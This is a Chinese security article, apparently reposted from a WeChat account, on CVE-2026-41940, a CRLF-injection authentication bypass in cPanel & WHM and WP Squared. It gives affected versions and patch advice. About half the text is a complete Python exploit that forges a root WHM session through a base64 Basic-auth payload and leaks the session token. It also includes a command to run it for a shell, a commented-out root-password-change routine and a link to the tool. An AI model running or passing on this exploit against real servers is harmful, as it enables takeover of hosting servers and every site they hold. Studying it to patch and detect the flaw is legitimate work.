CVE-2026-41940 是一个严重的高危漏洞,影响 cPanel&WHM 和 WPSquared,允许未授权远程攻击者绕过身份验证获取管理员权限。该漏洞因会话文件写入时未净化输入导致 CRLF 注入,已被在野利用,官方已发布补丁。
一、概述
2026 年 4 月 28 日,cPanel 发布安全更新,修复 cPanel & WHM、WP Squared 高危严重漏洞。官方描述为会话加载与保存逻辑缺陷。
2026 年 4 月 29 日分配漏洞编号 CVE-2026-41940,CVSS 评分 9.8 满分高危。
-
• 未授权远程攻击者 无需登录 -
• 可绕过身份认证,直接获取服务器管理员权限 -
• cPanel 官方已发布厂商安全公告
-
• WHM:服务器 root 级后台管理 -
• cPanel:普通用户网站管理前台漏洞利用成功后,攻击者可完全控制服务器、配置、数据库、所有托管网站。通过 Shodan 检索,全网约 150 台cPanel 设备暴露公网,存在受险可能。
知名主机厂商 KnownHost 证实:
该漏洞已在野外被实际利用,有迹象早在 2026 年 2 月 23 日(公开披露前)就已有0 日定向攻击。
安全厂商 watchTowr 已公开技术分析 + POC 利用代码,后续大概率会大规模泛滥攻击。
二、技术原理
对外暴露 cPanel 相关 Web 服务的设备默认就受影响。
漏洞根因:登录与会话加载流程中存在 CRLF 换行注入漏洞。
-
1. cPanel 核心服务 cpsrvd,在用户认证之前就会向磁盘写入会话文件; -
2. 攻击者篡改 whostmgrsessionCookie,省略 Cookie 固定字段,绕过常规加密校验; -
3. 攻击者通过 Basic 授权请求头 注入原生 rn换行符; -
4. 服务端未做输入净化,直接把恶意内容写入会话文件; -
5. 攻击者可在会话文件中注入任意属性,例如 user=root; -
6. 重新加载会话后,直接拿到管理员 /root 权限,完成身份绕过。
三、缓解修复建议
-
1. 自建机房 / 独立部署的 cPanel & WHM、WP Squared 紧急升级到修复版本; -
2. 部分服务商临时封禁 2083、2087 端口(cPanel/WHM 网页端口)做临时应急; -
3. 强烈建议直接打补丁,不推荐仅靠端口封堵做长期防护。
四、受影响版本
11.40 之后所有版本均受影响,以下为各分支修复基线版本,低于这些版本都有漏洞:
-
• cPanel & WHM 11.86.0 < 11.86.0.41 -
• cPanel & WHM 11.110.0 < 11.110.0.97 -
• cPanel & WHM 11.118.0 < 11.118.0.63 -
• cPanel & WHM 11.126.0 < 11.126.0.54 -
• cPanel & WHM 11.130.0 < 11.130.0.19 -
• cPanel & WHM 11.132.0 < 11.132.0.29 -
• cPanel & WHM 11.134.0 < 11.134.0.20 -
• cPanel & WHM 11.136.0 < 11.136.0.5 -
• WP Squared 全版本 < 136.1.7
五、资产检测
InsightVM、Nexpose、Exposure Command 等漏洞扫描器,在 2026-04-30 规则库更新 后,已支持授权检测该漏洞。
POC
获取shell
python watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py --target https://目标IP:2087 shell

import argparse
import base64
import json
import re
import sys
import urllib.parse
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
banner = """ __ ___ ___________
__ _ ______ _/ |__ ____ | |_\\__ ____\\____ _ ________
\\ \\/ \\/ \\__ \\ ___/ ___\\| | \\| | / _ \\ \\/ \\/ \\_ __ \\
\\ / / __ \\| | \\ \\___| Y | |( <_> \\ / | | \\/
\\/\\_/ (____ |__| \\___ |___|__|__ | \\__ / \\/\\_/ |__|
\\/ \\/ \\/
watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py
(*) cPanel/WHM Authentication Bypass - Detection Artifact Generator
- Sina Kheirkhah (@SinSinology) of watchTowr (@watchTowrcyber)
CVEs: [cve-2026-41940]
"""
print(banner)
# pre-built base64 of:
# root:x\r\nsuccessful_internal_auth_with_timestamp=9999999999\r\nuser=root\r\ntfa_verified=1\r\nhasroot=1
PAYLOAD_B64 = (
"cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5"
"OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x"
)
def parse_target(url):
u = urllib.parse.urlsplit(url.rstrip("/"))
return u.scheme, u.hostname, u.port or 2087
def discover_canonical_host(scheme, host, port):
# cpsrvd 307s us to the right hostname when our Host header is wrong
try:
r = requests.get(
f"{scheme}://{host}:{port}/openid_connect/cpanelid",
verify=False,
allow_redirects=False,
headers={"Connection": "close"},
timeout=10,
)
except Exception as e:
print(f"[!] couldn't reach the target: {e}")
sys.exit(1)
loc = r.headers.get("Location", "")
m = re.match(r"^https?://([^:/]+)", loc)
if m:
return m.group(1)
return host
def make_session():
s = requests.Session()
s.verify = False
return s
def http(s, method, scheme, host, port, canonical, path, **kw):
# always send to the IP, but spoof Host so cpsrvd doesn't redirect us
headers = kw.pop("headers", {})
headers.setdefault("Host", f"{canonical}:{port}")
headers.setdefault("Connection", "close")
return s.request(
method,
f"{scheme}://{host}:{port}{path}",
headers=headers,
allow_redirects=False,
**kw,
)
def stage1_preauth(s, scheme, host, port, canonical):
print("[1] minting a preauth session...")
r = http(s, "POST", scheme, host, port, canonical,
"/login/?login_only=1",
data={"user": "root", "pass": "wrong"})
# need to get the cookie from the raw header (requests url-decodes it)
cookie_value = None
for k, v in r.raw.headers.items():
if k.lower() == "set-cookie" and v.startswith("whostmgrsession="):
cookie_value = v.split("=", 1)[1].split(";", 1)[0]
cookie_value = urllib.parse.unquote(cookie_value)
break
if not cookie_value:
print("[!] /login didn't issue a whostmgrsession cookie")
sys.exit(1)
# strip the ",<obhex>" tail. that's what makes the encoder skip pass on stage 2.
if "," in cookie_value:
session_base = cookie_value.split(",", 1)[0]
else:
session_base = cookie_value
print(f" session base = {session_base}")
return session_base
def stage2_inject(s, scheme, host, port, canonical, session_base):
print("[2] sending the CRLF injection (Basic auth + no-ob cookie)...")
cookie_enc = urllib.parse.quote(session_base)
r = http(s, "GET", scheme, host, port, canonical, "/",
headers={
"Authorization": f"Basic {PAYLOAD_B64}",
"Cookie": f"whostmgrsession={cookie_enc}",
})
# the 307 leaks the cp_security_token in the Location header
loc = r.headers.get("Location", "")
m = re.search(r"/cpsess\d{10}", loc)
if not m:
print(f"[!] no /cpsess token leaked (HTTP {r.status_code}). target may be patched.")
sys.exit(1)
token = m.group(0)
print(f" HTTP {r.status_code}, leaked token = {token}")
return token
def stage3_propagate(s, scheme, host, port, canonical, session_base):
print("[3] firing do_token_denied to propagate raw -> cache...")
cookie_enc = urllib.parse.quote(session_base)
r = http(s, "GET", scheme, host, port, canonical, "/scripts2/listaccts",
headers={"Cookie": f"whostmgrsession={cookie_enc}"})
body = r.text or ""
if r.status_code == 401 and ("Token denied" in body or "WHM Login" in body):
print(f" HTTP {r.status_code}, gadget fired")
else:
print(f"[!] do_token_denied didn't fire as expected (HTTP {r.status_code})")
sys.exit(1)
def stage4_verify(s, scheme, host, port, canonical, session_base, token):
print("[4] verifying we're WHM root...")
cookie_enc = urllib.parse.quote(session_base)
r = http(s, "GET", scheme, host, port, canonical,
f"{token}/json-api/version",
headers={"Cookie": f"whostmgrsession={cookie_enc}"})
body = (r.text or "").strip()
print(f" /json-api/version -> HTTP {r.status_code} {body[:120]}")
if r.status_code == 200 and '"version"' in body:
return True
if r.status_code in (500, 503) and "License" in body:
# license-gated but we got past auth
return True
return False
def call_whm_api(s, scheme, host, port, canonical, session_base, token, function, params):
cookie_enc = urllib.parse.quote(session_base)
qs = "api.version=1"
for k, v in params.items():
if v is None:
continue
qs += f"&{urllib.parse.quote(k)}={urllib.parse.quote(str(v))}"
path = f"{token}/json-api/{function}?{qs}"
r = http(s, "GET", scheme, host, port, canonical, path,
headers={"Cookie": f"whostmgrsession={cookie_enc}"})
print(f" {function} -> HTTP {r.status_code}")
body = r.text or ""
try:
j = json.loads(body)
print(json.dumps(j, indent=2)[:1500])
except Exception:
print(body[:1500])
def do_passwd(s, scheme, host, port, canonical, session_base, token, password):
print(f"[*] changing the root password")
call_whm_api(s, scheme, host, port, canonical, session_base, token,
"passwd",
{"user": "root", "password": password})
parser = argparse.ArgumentParser()
parser.add_argument("--target", required=True, help="WHM URL, e.g. https://target:2087")
parser.add_argument("--hostname", default=None, help="override Host: header (auto-discovered if empty)")
#parser.add_argument("--password", required=True, help="new password for the root user")
args = parser.parse_args()
scheme, host, port = parse_target(args.target)
canonical = args.hostname or discover_canonical_host(scheme, host, port)
print(f"[0] hostname = {canonical}")
s = make_session()
session_base = stage1_preauth(s, scheme, host, port, canonical)
token = stage2_inject(s, scheme, host, port, canonical, session_base)
stage3_propagate(s, scheme, host, port, canonical, session_base)
if not stage4_verify(s, scheme, host, port, canonical, session_base, token):
print("[!] auth bypass didn't land, not running the action")
sys.exit(1)
#do_passwd(s, scheme, host, port, canonical, session_base, token, args.password)
print(f"[+] now just login to {args.target} and use the terminal option to get a root shell")
工具获取
https://github.com/xcc690/watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py
原文始发于微信公众号(莫白AI安全团队):CVE-2026-41940 POC
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-


评论